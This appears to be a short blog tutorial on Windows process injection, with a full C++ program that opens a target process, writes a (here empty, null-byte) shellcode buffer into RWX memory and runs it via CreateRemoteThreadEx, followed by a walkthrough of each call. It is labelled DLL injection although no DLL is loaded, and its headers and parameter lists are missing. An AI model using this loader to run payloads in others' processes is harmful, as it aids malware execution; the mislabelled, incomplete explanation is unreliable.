DLL Injection TLDR;

Posted on Nov 17, 2022

Introduction

This post gives us a simple example of performing DLL injection in Windows

Code Example and Documentation

Below is a C++ code snippet that demonstrates a form of process injection, specifically using the Windows API.


#include 
#include 
#include 

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define error(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]) {
    if (argc < 2) {
        error("Not enough parameters: program.exe ");
        return EXIT_FAILURE;
    }

    DWORD PID = atoi(argv[1]);
    HANDLE hProcess, hThread;
    LPVOID rBuffer;
    DWORD TID;
    unsigned char shell[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    info("Trying to open a handle to the process");
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

    if (hProcess == NULL) {
        error("Couldn't get a handle to the process. Error code: %d", GetLastError());
        return EXIT_FAILURE;
    }
    okay("Got a handle to the process: 0x%p", hProcess);

    rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shell), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    if (rBuffer == NULL) {
        error("Failed to allocate memory in the target process");
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }
    okay("Allocated %zu bytes with PAGE_EXECUTE_READWRITE permissions", sizeof(shell));

    if (!WriteProcessMemory(hProcess, rBuffer, shell, sizeof(shell), NULL)) {
        error("Failed to write to process memory");
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }
    okay("Wrote %zu bytes to process memory", sizeof(shell));

    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);
    if (hThread == NULL) {
        error("Failed to create remote thread");
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }
    okay("Got a handle to the remote thread: 0x%p", hThread);

    info("Waiting for thread to finish");
    WaitForSingleObject(hThread, INFINITE);
    okay("Thread finished executing");

    info("Cleaning up...");
    CloseHandle(hThread);
    CloseHandle(hProcess);
    okay("Finished!");

    return EXIT_SUCCESS;
}

Explanation of the Code

Importing Headers


#include 
#include 
#include    

The Windows API, standard I/O, and the standard library headers are included for process manipulation, output printing, and utility functions, respectively.

Macros for Logging


#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define error(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)     

Macros make logging simpler, offering a concise way to output status messages.

Main Function


int main(int argc, char* argv[]) 

The program starts its execution here and expects a Process ID (PID) as a command-line argument.

Validating Arguments


if (argc < 2) {
    error("Not enough parameters: program.exe ");
    return EXIT_FAILURE;
}  

Here, the code checks if a PID has been provided by the user. If not, it terminates the program with an error message.

Open Process Handle


hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); 

OpenProcess returns a handle to the specified process, giving access to its memory and threads. The function accepts several parameters:

Allocate Remote Buffer


rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shell), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);  

VirtualAllocEx allocates memory within the target process. This is where the injected code (or DLL) will reside. Parameters explained:

Write Shellcode


WriteProcessMemory(hProcess, rBuffer, shell, sizeof(shell), NULL);  

WriteProcessMemory writes data to the memory area allocated in the target process. It effectively injects the shellcode or DLL into the process.

Create Remote Thread


hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);    

CreateRemoteThreadEx creates a thread inside the target process and starts its execution at the allocated memory location.

Wait for Completion


WaitForSingleObject(hThread, INFINITE);   

WaitForSingleObject suspends the calling thread until the target thread finishes its execution.

Cleanup


CloseHandle(hThread);
CloseHandle(hProcess);    

The handles to the process and thread are closed using CloseHandle, freeing resources and avoiding memory leaks.

Conclusion

Hopefully, this article sheds some light on the topic of DLL Injection, using Windows API as an example. Understanding these concepts can be crucial for software debugging, security research, and reverse engineering. Checkout the version I made using Go on my github: ProcessInjector.

Disclaimer

This code is essentially for process injection on Windows, which could be considered malicious behavior depending on its use. Use responsibly and only on systems where you have explicit permission.

Back to Top